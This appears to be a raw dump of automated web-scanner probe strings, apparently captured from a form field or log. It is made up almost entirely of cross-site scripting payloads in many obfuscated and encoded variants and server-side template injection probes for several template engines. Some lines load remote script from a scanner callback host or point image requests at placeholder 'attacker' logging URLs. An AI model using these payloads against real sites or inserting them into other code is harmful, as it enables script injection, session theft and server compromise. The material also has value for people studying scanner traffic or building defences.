555\u003CScRiPt\zbed(9169)\u003C/sCripT\u003E

dfb[[${98991*97996}]]xca

555<input autofocus onfocus=nQij(9803)>

555<img/src=">" onerror=alert(9926)>

"}#{98991*97996*98991*97996}

555<ScRiPt >uikc(9668)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555&lt

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb__${98991*97996}__::.x

%35%35%35%3C%53%63%52%69%50%74%20%3E%69%70%5A%49%289490%29%3C%2F%73%43%72%69%70%54%3E

"}dfb#{xca}=123

\xf6<img zzz onmouseover=zbed(90791) //\xf6>

555'"()&%<zzz><ScRiPt >vzpv(9112)</ScRiPt>

555<ScRiPt >NzTn(9613)</ScRiPt>

555<svg  \xa0onload=uikc(9870)

555\u003CScRiPt\ipZI(9944)\u003C/sCripT\u003E

<a HrEF=jaVaScRiPT:>

555<WTXS3U>YWLSZ[!+!]</WTXS3U>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555}body{zzz:Expre/**/SSion(nQij(9586))}

555&lt

555<input autofocus onfocus=zbed(9302)>

"}}dfb{{'abcd'.toUpperCase()}}xca

555<ScRiPt >hlQc(9897)</ScRiPt>

'"()&%<zzz><ScRiPt >vzpv(9629)</ScRiPt>

555<isindex type=image src=1 onerror=uikc(9586)>

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

\xf6<img zzz onmouseover=ipZI(99711) //\xf6>

555PvsPc <ScRiPt >nQij(9516)</ScRiPt>

555<script>NzTn(9159)</script>

<a HrEF=http://xss.bxss.me></a>

555<WTGREJ>ZIDRP[!+!]</WTGREJ>

5559688936

555<WDUPJL>T3ROP[!+!]</WDUPJL>

555<iframe src='data:text/html

555<script>NzTn(9984)</script>9984

"}}dfb{{98991*97996}}xca

555<input autofocus onfocus=ipZI(9025)>

555<ifRAme sRc=9844.com></IfRamE>

<a HrEF=jaVaScRiPT:>

bfg3373\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3373

555<body onload=uikc(9223)>

555<aYzoVrp x=9006>

555<script>hlQc(9793)</script>

bfgx10739\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10739

555<ScR<ScRiPt>IpT>NzTn(9680)</sCr<ScRiPt>IpT>

555}body{zzz:Expre/**/SSion(zbed(9787))}

"}dfb[[${98991*97996}]]xca

555<img src=//xss.bxss.me/t/dot.gif onload=uikc(9256)>

555<img sRc='http://attacker-9369/log.php?

555<script>hlQc(9279)</script>9279

555nRyyi <ScRiPt >zbed(9110)</ScRiPt>

<%={{={@{#{${dfb}}%>

<a HrEF=http://xss.bxss.me></a>

"dfb__${98991*97996}__::.x

555<ScRiPt >NzTn(9476)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9667></ScRiPt>

<a HrEF=jaVaScRiPT:>

555<ScR<ScRiPt>IpT>hlQc(9169)</sCr<ScRiPt>IpT>

555<aU5B7rN<

555<img src=xyz OnErRor=uikc(9893)>

555

555<W0M3BN>CPF0I[!+!]</W0M3BN>

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555}body{zzz:Expre/**/SSion(ipZI(9043))}

555<ScRiPt >hlQc(9965)</ScRiPt>

555'"()&%<zzz><ScRiPt >eGnA(9112)</ScRiPt>

555fush6 <ScRiPt >ipZI(9426)</ScRiPt>

555<img/src=">" onerror=alert(9458)>

<th:t="${dfb}#foreach

555<ScRiPt >NzTn(9743)</ScRiPt>

555<ifRAme sRc=9280.com></IfRamE>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9839></ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%75%69%6B%63%289533%29%3C%2F%73%43%72%69%70%54%3E

'}}dfb{{98991*97996}}xca

555<aoTo8BT x=9919>

555<WA04TE>N9GXU[!+!]</WA04TE>

555\u003CScRiPt\uikc(9863)\u003C/sCripT\u003E

'"()&%<zzz><ScRiPt >eGnA(9854)</ScRiPt>

555<svg  \xa0onload=NzTn(9681)

555

555<ScRiPt >hlQc(9072)</ScRiPt>

555<ifRAme sRc=9710.com></IfRamE>

'%}dfb{{98991*97996}}xca

555'"()&%<zzz><ScRiPt >KduL(9339)</ScRiPt>

555<isindex type=image src=1 onerror=NzTn(9903)>

555<img sRc='http://attacker-9438/log.php?

5559367425

555<svg  \xa0onload=hlQc(9166)

555&lt

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<iframe src='data:text/html

bfg3976\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3976

'}dfb{98991*97996}xca

555<isindex type=image src=1 onerror=hlQc(9782)>

'"()&%<zzz><ScRiPt >KduL(9743)</ScRiPt>

555<aUAHVCB<

555

555<aB91DgP x=9644>

555<iframe src='data:text/html

555<body onload=NzTn(9876)>

\xf6<img zzz onmouseover=uikc(93311) //\xf6>

bfgx4206\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4206

'}dfb${98991*97996}xca

5559016991

555<img src=//xss.bxss.me/t/dot.gif onload=NzTn(9116)>

'}dfb#{98991*97996}xca

555<img sRc='http://attacker-9554/log.php?

555<input autofocus onfocus=uikc(9688)>

dfb{{98991*97996}}xca

555<body onload=hlQc(9956)>

555<img src=xyz OnErRor=NzTn(9673)>

'}dfb{#98991*97996}xca

555<aWyXLPu<

<%={{={@{#{${dfb}}%>

dfb[[${98991*97996}]]xca

bfg10317\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10317

<a HrEF=http://xss.bxss.me></a>

dfb__${98991*97996}__::.x

'}dfb{@98991*97996}xca

555<img src=//xss.bxss.me/t/dot.gif onload=hlQc(9746)>

555

555<img/src=">" onerror=alert(9773)>

bfgx2346\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2346

<a HrEF=jaVaScRiPT:>

'}}dfb{{=98991*97996}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img src=xyz OnErRor=hlQc(9506)>

555}body{zzz:Expre/**/SSion(uikc(9664))}

')dfb@(98991*97996)xca

<th:t="${dfb}#foreach

%35%35%35%3C%53%63%52%69%50%74%20%3E%4E%7A%54%6E%289263%29%3C%2F%73%43%72%69%70%54%3E

<%={{={@{#{${dfb}}%>

555<ScRiPt >vzpv(9401)</ScRiPt>

555<img/src=">" onerror=alert(9823)>

555IBxip <ScRiPt >uikc(9772)</ScRiPt>

555<WBZZFT>ADVZ0[!+!]</WBZZFT>

%35%35%35%3C%53%63%52%69%50%74%20%3E%68%6C%51%63%289549%29%3C%2F%73%43%72%69%70%54%3E

555

555\u003CScRiPt\NzTn(9917)\u003C/sCripT\u003E

555

'%>dfb<%=98991*97996%>xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555&lt

555<WO0GAL>QJO25[!+!]</WO0GAL>

<th:t="${dfb}#foreach

'}dfb#set($x=98991*97996)${x}xca

555\u003CScRiPt\hlQc(9024)\u003C/sCripT\u003E

555<script>vzpv(9626)</script>

555

555

\xf6<img zzz onmouseover=NzTn(95161) //\xf6>

555<ifRAme sRc=9654.com></IfRamE>

555&lt

'}dfb{{"abc"|title}}xca

555<input autofocus onfocus=NzTn(9675)>

\xf6<img zzz onmouseover=hlQc(90601) //\xf6>

555<aVEYZXO x=9034>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<script>vzpv(9586)</script>9586

dfb{{98991*97996}}xca

<a HrEF=http://xss.bxss.me></a>

555<img sRc='http://attacker-9332/log.php?

555<input autofocus onfocus=hlQc(9113)>

'print("dfb" . 98991*97996 . "xca")

555<ScR<ScRiPt>IpT>vzpv(9266)</sCr<ScRiPt>IpT>

555

<a HrEF=jaVaScRiPT:>

<a HrEF=http://xss.bxss.me></a>

'98991*97996*98991*97996

dfb[[${98991*97996}]]xca

555<aC0N6Wh<

555<ScRiPt >vzpv(9061)</ScRiPt>

dfb{{98991*97996}}xca

'}dfb{@math key=98991 method="multiply" operand=97996/}xca

<a HrEF=jaVaScRiPT:>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9264></ScRiPt>

555}body{zzz:Expre/**/SSion(NzTn(9178))}

555}body{zzz:Expre/**/SSion(hlQc(9552))}

dfb__${98991*97996}__::.x

'}}}dfb{{{this}}}xca

dfb[[${98991*97996}]]xca

5554tgEB <ScRiPt >NzTn(9791)</ScRiPt>

555H2ZPk <ScRiPt >hlQc(9992)</ScRiPt>

555<ScRiPt >vzpv(9191)</ScRiPt>

555<WTQ2NG>VP6OP[!+!]</WTQ2NG>

555<WE2WC3>WMYYL[!+!]</WE2WC3>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<svg  \xa0onload=vzpv(9448)

'}#{98991*97996*98991*97996}

dfb__${98991*97996}__::.x

'}dfb#{xca}=123

555<ifRAme sRc=9004.com></IfRamE>

555<ifRAme sRc=9851.com></IfRamE>

555<isindex type=image src=1 onerror=vzpv(9881)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >eGnA(9717)</ScRiPt>

'}}dfb{{'abcd'.toUpperCase()}}xca

555<aTg15Da x=9691>

555<afHwQI6 x=9149>

555<iframe src='data:text/html

555<ScRiPt >KduL(9826)</ScRiPt>

555<WX4G9U>J1VXX[!+!]</WX4G9U>

'}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<img sRc='http://attacker-9335/log.php?

555<body onload=vzpv(9186)>

555<WPHFWE>06CQZ[!+!]</WPHFWE>

555<script>eGnA(9682)</script>

555<img sRc='http://attacker-9500/log.php?

'}}dfb{{98991*97996}}xca

555<avx9mgP<

555<script>KduL(9793)</script>

'}dfb[[${98991*97996}]]xca

555<img src=//xss.bxss.me/t/dot.gif onload=vzpv(9979)>

555<script>eGnA(9482)</script>9482

555<aGoNIVM<

555<script>KduL(9533)</script>9533

555<img src=xyz OnErRor=vzpv(9608)>

'dfb__${98991*97996}__::.x

555<img/src=">" onerror=alert(9406)>

555<ScR<ScRiPt>IpT>KduL(9628)</sCr<ScRiPt>IpT>

'}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScR<ScRiPt>IpT>eGnA(9186)</sCr<ScRiPt>IpT>

1}}dfb{{98991*97996}}xca

555<ScRiPt >eGnA(9854)</ScRiPt>

555<ScRiPt >KduL(9010)</ScRiPt>

1%}dfb{{98991*97996}}xca

%35%35%35%3C%53%63%52%69%50%74%20%3E%76%7A%70%76%289726%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9304></ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9933></ScRiPt>

555\u003CScRiPt\vzpv(9531)\u003C/sCripT\u003E

1}dfb{98991*97996}xca

555<ScRiPt >eGnA(9313)</ScRiPt>

1}dfb${98991*97996}xca

555<ScRiPt >KduL(9399)</ScRiPt>

555&lt

1}dfb#{98991*97996}xca

\xf6<img zzz onmouseover=vzpv(91581) //\xf6>

555<svg  \xa0onload=eGnA(9525)

1}dfb{#98991*97996}xca

555<svg  \xa0onload=KduL(9615)

555<input autofocus onfocus=vzpv(9770)>

555<isindex type=image src=1 onerror=KduL(9953)>

1}dfb{@98991*97996}xca

<a HrEF=http://xss.bxss.me></a>

555<isindex type=image src=1 onerror=eGnA(9553)>

555<iframe src='data:text/html

1}}dfb{{=98991*97996}}xca

<a HrEF=jaVaScRiPT:>

1)dfb@(98991*97996)xca

555<iframe src='data:text/html

555<body onload=KduL(9599)>

555}body{zzz:Expre/**/SSion(vzpv(9986))}

1%>dfb<%=98991*97996%>xca

555tyXNu <ScRiPt >vzpv(9935)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=KduL(9140)>

555<body onload=eGnA(9801)>

1}dfb#set($x=98991*97996)${x}xca

555<WYZADL>SFEWF[!+!]</WYZADL>

555<img src=//xss.bxss.me/t/dot.gif onload=eGnA(9540)>

555<img src=xyz OnErRor=KduL(9032)>

555<img src=xyz OnErRor=eGnA(9954)>

555<ifRAme sRc=9919.com></IfRamE>

1}dfb{{"abc"|title}}xca

555<img/src=">" onerror=alert(9450)>

555<aOh1zP4 x=9751>

1print("dfb" . 98991*97996 . "xca")

555<img/src=">" onerror=alert(9010)>

555<img sRc='http://attacker-9488/log.php?

%35%35%35%3C%53%63%52%69%50%74%20%3E%4B%64%75%4C%289354%29%3C%2F%73%43%72%69%70%54%3E

%35%35%35%3C%53%63%52%69%50%74%20%3E%65%47%6E%41%289090%29%3C%2F%73%43%72%69%70%54%3E

555<aKW6YHf<

198991*97996*98991*97996

555\u003CScRiPt\KduL(9130)\u003C/sCripT\u003E

555\u003CScRiPt\eGnA(9085)\u003C/sCripT\u003E

1}dfb{@math key=98991 method="multiply" operand=97996/}xca

555&lt

555&lt

1}}}dfb{{{this}}}xca

\xf6<img zzz onmouseover=eGnA(93851) //\xf6>

\xf6<img zzz onmouseover=KduL(95311) //\xf6>

1}#{98991*97996*98991*97996}

555<input autofocus onfocus=KduL(9026)>

555<input autofocus onfocus=eGnA(9289)>

1}dfb#{xca}=123

<a HrEF=http://xss.bxss.me></a>

<a HrEF=http://xss.bxss.me></a>

1}}dfb{{'abcd'.toUpperCase()}}xca

1}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

<a HrEF=jaVaScRiPT:>

<a HrEF=jaVaScRiPT:>

1}}dfb{{98991*97996}}xca

555}body{zzz:Expre/**/SSion(eGnA(9628))}

555}body{zzz:Expre/**/SSion(KduL(9732))}

555v0K6L <ScRiPt >eGnA(9889)</ScRiPt>

1}dfb[[${98991*97996}]]xca

555<WP2O1N>RMZGX[!+!]</WP2O1N>

555odvRj <ScRiPt >KduL(9655)</ScRiPt>

555'"()&%<zzz><ScRiPt >rLT2(9039)</ScRiPt>

1dfb__${98991*97996}__::.x

555'"()&%<zzz><ScRiPt >hCOx(9564)</ScRiPt>

555'"()&%<zzz><ScRiPt >HjMJ(9114)</ScRiPt>

'"()&%<zzz><ScRiPt >rLT2(9888)</ScRiPt>

555<ifRAme sRc=9551.com></IfRamE>

555<WSRHPZ>IFQRC[!+!]</WSRHPZ>

1}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

'"()&%<zzz><ScRiPt >hCOx(9853)</ScRiPt>

'"()&%<zzz><ScRiPt >HjMJ(9312)</ScRiPt>

5559734639

555<aq8ibdK x=9871>

555<ifRAme sRc=9868.com></IfRamE>

5559585027

5559958105

bfg7682\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7682

555<img sRc='http://attacker-9614/log.php?

555<ar4in3X x=9410>

555<ScRiPt >4p0R(9535)</ScRiPt>

bfg2302\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2302

555<axbT46V<

555<img sRc='http://attacker-9874/log.php?

bfg10086\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10086

bfgx7953\xc0\xbez1\xc0\xbcz2a\x90bcxhjl7953

555<aG3rG91<

bfgx2249\xc0\xbez1\xc0\xbcz2a\x90bcxhjl2249

555<WYBYPX>0MBB0[!+!]</WYBYPX>

<%={{={@{#{${dfb}}%>

bfgx5545\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5545

<%={{={@{#{${dfb}}%>

555<script>4p0R(9447)</script>

555

555

555<script>4p0R(9470)</script>9470

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

<th:t="${dfb}#foreach

555<ScR<ScRiPt>IpT>4p0R(9149)</sCr<ScRiPt>IpT>

<th:t="${dfb}#foreach

555

555<ScRiPt >4p0R(9603)</ScRiPt>

555

555

555'"()&%<zzz><ScRiPt >RJiv(9793)</ScRiPt>

555'"()&%<zzz><ScRiPt >lcWg(9267)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9686></ScRiPt>

'"()&%<zzz><ScRiPt >RJiv(9871)</ScRiPt>

555'"()&%<zzz><ScRiPt >KlNo(9991)</ScRiPt>

555

dfb{{98991*97996}}xca

555<ScRiPt >4p0R(9337)</ScRiPt>

5559539724

'"()&%<zzz><ScRiPt >lcWg(9332)</ScRiPt>

dfb{{98991*97996}}xca

5559586998

bfg10932\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10932

'"()&%<zzz><ScRiPt >KlNo(9025)</ScRiPt>

dfb[[${98991*97996}]]xca

555<svg  \xa0onload=4p0R(9357)

"}}dfb{{98991*97996}}xca

bfg3088\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3088

dfb{98991*97996}xca

dfb__${98991*97996}__::.x

555<isindex type=image src=1 onerror=4p0R(9324)>

bfgx3214\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3214

bfgx6498\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6498

5559000245

dfb${98991*97996}xca

"%}dfb{{98991*97996}}xca

bfg6990\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6990

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<iframe src='data:text/html

dfb#{98991*97996}xca

"}dfb{98991*97996}xca

555

555<body onload=4p0R(9578)>

bfgx6088\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6088

555<ScRiPt >rLT2(9275)</ScRiPt>

555

555<WAHGLM>LSCMZ[!+!]</WAHGLM>

<th:t="${dfb}#foreach

<th:t="${dfb}#foreach

555<img src=//xss.bxss.me/t/dot.gif onload=4p0R(9718)>

<%={{={@{#{${dfb}}%>

dfb{#98991*97996}xca

555<script>rLT2(9689)</script>

555

555

"}dfb${98991*97996}xca

555

dfb{@98991*97996}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img src=xyz OnErRor=4p0R(9293)>

<th:t="${dfb}#foreach

555<script>rLT2(9253)</script>9253

dfb{{=98991*97996}}xca

555

"}dfb#{98991*97996}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img/src=">" onerror=alert(9812)>

dfb@(98991*97996)xca

dfb{{98991*97996}}xca

555<ScR<ScRiPt>IpT>rLT2(9671)</sCr<ScRiPt>IpT>

%35%35%35%3C%53%63%52%69%50%74%20%3E%34%70%30%52%289159%29%3C%2F%73%43%72%69%70%54%3E

555

dfb[[${98991*97996}]]xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"}dfb{#98991*97996}xca

555\u003CScRiPt\4p0R(9343)\u003C/sCripT\u003E

555

555<ScRiPt >rLT2(9145)</ScRiPt>

dfb<%=98991*97996%>xca

555&lt

555

dfb{{98991*97996}}xca

dfb__${98991*97996}__::.x

"}dfb{@98991*97996}xca

dfb#set($x=98991*97996)${x}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9712></ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{"abc"|title}}xca

\xf6<img zzz onmouseover=4p0R(93911) //\xf6>

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

"}}dfb{{=98991*97996}}xca

555<ScRiPt >RJiv(9450)</ScRiPt>

print("dfb" . 98991*97996 . "xca")

dfb[[${98991*97996}]]xca

555<input autofocus onfocus=4p0R(9614)>

dfb__${98991*97996}__::.x

555<WDNXBV>GJOK0[!+!]</WDNXBV>

98991*97996*98991*97996

555<ScRiPt >rLT2(9679)</ScRiPt>

dfb__${98991*97996}__::.x

")dfb@(98991*97996)xca

<a HrEF=http://xss.bxss.me></a>

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<script>RJiv(9362)</script>

"%>dfb<%=98991*97996%>xca

555<svg  \xa0onload=rLT2(9424)

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<a HrEF=jaVaScRiPT:>

dfb{{{this}}}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<script>RJiv(9533)</script>9533

555<ScRiPt >lcWg(9160)</ScRiPt>

"}dfb#set($x=98991*97996)${x}xca

555<ScRiPt >KlNo(9637)</ScRiPt>

555<isindex type=image src=1 onerror=rLT2(9182)>

"}dfb{{"abc"|title}}xca

555}body{zzz:Expre/**/SSion(4p0R(9750))}

#{98991*97996*98991*97996}

555<ScR<ScRiPt>IpT>RJiv(9453)</sCr<ScRiPt>IpT>

555<WLK9VY>PN6HU[!+!]</WLK9VY>

555<iframe src='data:text/html

555<script>lcWg(9321)</script>

555<WWHRRH>SQFQX[!+!]</WWHRRH>

"print("dfb" . 98991*97996 . "xca")

555<body onload=rLT2(9874)>

dfb#{xca}=123

555cXPaN <ScRiPt >4p0R(9653)</ScRiPt>

555<script>lcWg(9090)</script>9090

"98991*97996*98991*97996

555<ScRiPt >RJiv(9131)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=rLT2(9729)>

555<ScR<ScRiPt>IpT>lcWg(9310)</sCr<ScRiPt>IpT>

dfb{{'abcd'.toUpperCase()}}xca

555<WJPK6Q>NF3IB[!+!]</WJPK6Q>

555<script>KlNo(9182)</script>

555<ScRiPt >lcWg(9129)</ScRiPt>

555<img src=xyz OnErRor=rLT2(9531)>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9201></ScRiPt>

"}dfb{@math key=98991 method="multiply" operand=97996/}xca

555<img/src=">" onerror=alert(9466)>

555<ifRAme sRc=9230.com></IfRamE>

dfb{{98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9419></ScRiPt>

"}}}dfb{{{this}}}xca

555<script>KlNo(9781)</script>9781

555<ScRiPt >lcWg(9628)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%72%4C%54%32%289762%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt >RJiv(9576)</ScRiPt>

555<aQmd2DM x=9487>

dfb[[${98991*97996}]]xca

"}#{98991*97996*98991*97996}

555<svg  \xa0onload=RJiv(9796)

555<img sRc='http://attacker-9675/log.php?

555<ScR<ScRiPt>IpT>KlNo(9603)</sCr<ScRiPt>IpT>

555<svg  \xa0onload=lcWg(9441)

555<isindex type=image src=1 onerror=RJiv(9971)>

555<aiOHcbH<

dfb__${98991*97996}__::.x

555\u003CScRiPt\rLT2(9317)\u003C/sCripT\u003E

"}dfb#{xca}=123

555<ScRiPt >KlNo(9867)</ScRiPt>

555<isindex type=image src=1 onerror=lcWg(9934)>

555<iframe src='data:text/html

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555&lt

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9252></ScRiPt>

"}}dfb{{'abcd'.toUpperCase()}}xca

555<iframe src='data:text/html

555<ScRiPt >hCOx(9153)</ScRiPt>

555<body onload=lcWg(9368)>

555<body onload=RJiv(9966)>

\xf6<img zzz onmouseover=rLT2(99911) //\xf6>

555<ScRiPt >KlNo(9892)</ScRiPt>

555<img src=//xss.bxss.me/t/dot.gif onload=RJiv(9594)>

"}}AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<WQZU8G>M0TGJ[!+!]</WQZU8G>

555<img src=//xss.bxss.me/t/dot.gif onload=lcWg(9509)>

555<input autofocus onfocus=rLT2(9509)>

555<svg  \xa0onload=KlNo(9966)

555<img src=xyz OnErRor=RJiv(9368)>

"}}dfb{{98991*97996}}xca

555<img src=xyz OnErRor=lcWg(9478)>

555<script>hCOx(9569)</script>

555'"()&%<zzz><ScRiPt >tHmV(9899)</ScRiPt>

555<img/src=">" onerror=alert(9703)>

'"()&%<zzz><ScRiPt >tHmV(9121)</ScRiPt>

555<isindex type=image src=1 onerror=KlNo(9305)>

<a HrEF=http://xss.bxss.me></a>

%35%35%35%3C%53%63%52%69%50%74%20%3E%52%4A%69%76%289905%29%3C%2F%73%43%72%69%70%54%3E

555<img/src=">" onerror=alert(9720)>

"}dfb[[${98991*97996}]]xca

555<script>hCOx(9031)</script>9031

5559289274

<a HrEF=jaVaScRiPT:>

%35%35%35%3C%53%63%52%69%50%74%20%3E%6C%63%57%67%289145%29%3C%2F%73%43%72%69%70%54%3E

"dfb__${98991*97996}__::.x

555<iframe src='data:text/html

bfg2642\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl2642

555}body{zzz:Expre/**/SSion(rLT2(9337))}

555<ScR<ScRiPt>IpT>hCOx(9577)</sCr<ScRiPt>IpT>

555<body onload=KlNo(9594)>

555\u003CScRiPt\RJiv(9496)\u003C/sCripT\u003E

555\u003CScRiPt\lcWg(9652)\u003C/sCripT\u003E

555Yy8Fb <ScRiPt >rLT2(9735)</ScRiPt>

bfgx4150\xc0\xbez1\xc0\xbcz2a\x90bcxhjl4150

"}"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >hCOx(9181)</ScRiPt>

555&lt

555<img src=//xss.bxss.me/t/dot.gif onload=KlNo(9485)>

555<WC2IEM>4YMLP[!+!]</WC2IEM>

<%={{={@{#{${dfb}}%>

555&lt

555<ifRAme sRc=9711.com></IfRamE>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9505></ScRiPt>

'}}dfb{{98991*97996}}xca

555<img src=xyz OnErRor=KlNo(9053)>

\xf6<img zzz onmouseover=lcWg(95011) //\xf6>

555

555<a55pzMS x=9975>

\xf6<img zzz onmouseover=RJiv(95891) //\xf6>

555<img/src=">" onerror=alert(9265)>

'%}dfb{{98991*97996}}xca

<th:t="${dfb}#foreach

555<ScRiPt >hCOx(9222)</ScRiPt>

555<input autofocus onfocus=lcWg(9350)>

555<img sRc='http://attacker-9486/log.php?

%35%35%35%3C%53%63%52%69%50%74%20%3E%4B%6C%4E%6F%289450%29%3C%2F%73%43%72%69%70%54%3E

'}dfb{98991*97996}xca

555<svg  \xa0onload=hCOx(9070)

555

555<input autofocus onfocus=RJiv(9853)>

<a HrEF=http://xss.bxss.me></a>

'}dfb${98991*97996}xca

555\u003CScRiPt\KlNo(9758)\u003C/sCripT\u003E

<a HrEF=http://xss.bxss.me></a>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<isindex type=image src=1 onerror=hCOx(9261)>

555<aZ8RZBI<

'}dfb#{98991*97996}xca

<a HrEF=jaVaScRiPT:>

555&lt

<a HrEF=jaVaScRiPT:>

555

\xf6<img zzz onmouseover=KlNo(96201) //\xf6>

'}dfb{#98991*97996}xca

dfb{{98991*97996}}xca

555}body{zzz:Expre/**/SSion(lcWg(9181))}

555'"()&%<zzz><ScRiPt >cOeW(9209)</ScRiPt>

555}body{zzz:Expre/**/SSion(RJiv(9879))}

555<iframe src='data:text/html

555<input autofocus onfocus=KlNo(9111)>

555DSz6d <ScRiPt >RJiv(9449)</ScRiPt>

555oGdVW <ScRiPt >lcWg(9281)</ScRiPt>

'"()&%<zzz><ScRiPt >cOeW(9271)</ScRiPt>

dfb[[${98991*97996}]]xca

'}dfb{@98991*97996}xca

555<body onload=hCOx(9332)>

<a HrEF=http://xss.bxss.me></a>

555<W30YAE>J0EFZ[!+!]</W30YAE>

'}}dfb{{=98991*97996}}xca

5559725761

555<W9GLHO>X8ILN[!+!]</W9GLHO>

dfb__${98991*97996}__::.x

555<ifRAme sRc=9121.com></IfRamE>

555<img src=//xss.bxss.me/t/dot.gif onload=hCOx(9460)>

555<ifRAme sRc=9851.com></IfRamE>

<a HrEF=jaVaScRiPT:>

')dfb@(98991*97996)xca

555'"()&%<zzz><ScRiPt >Kvd8(9234)</ScRiPt>

bfg7565\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7565

555<aUqsg8u x=9285>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<akPkbHP x=9354>

555}body{zzz:Expre/**/SSion(KlNo(9224))}

555<img src=xyz OnErRor=hCOx(9427)>

555<img sRc='http://attacker-9550/log.php?

bfgx10198\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10198

555<ScRiPt >tHmV(9857)</ScRiPt>

555<img/src=">" onerror=alert(9737)>

'%>dfb<%=98991*97996%>xca

555<img sRc='http://attacker-9099/log.php?

555<avYco3l<

5554O2cI <ScRiPt >KlNo(9244)</ScRiPt>

'"()&%<zzz><ScRiPt >Kvd8(9218)</ScRiPt>

<%={{={@{#{${dfb}}%>

'}dfb#set($x=98991*97996)${x}xca

555<WYGLTP>NPOPF[!+!]</WYGLTP>

%35%35%35%3C%53%63%52%69%50%74%20%3E%68%43%4F%78%289936%29%3C%2F%73%43%72%69%70%54%3E

555<WVN4O9>QBZCD[!+!]</WVN4O9>

555<a41369Q<

555\u003CScRiPt\hCOx(9603)\u003C/sCripT\u003E

555<script>tHmV(9325)</script>

5559534701

555

555<ifRAme sRc=9397.com></IfRamE>

555<script>tHmV(9230)</script>9230

555'"()&%<zzz><ScRiPt >7L0f(9865)</ScRiPt>

555&lt

'}dfb{{"abc"|title}}xca

555<aLC0ZVm x=9909>

bfg7506\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl7506

'"()&%<zzz><ScRiPt >7L0f(9866)</ScRiPt>

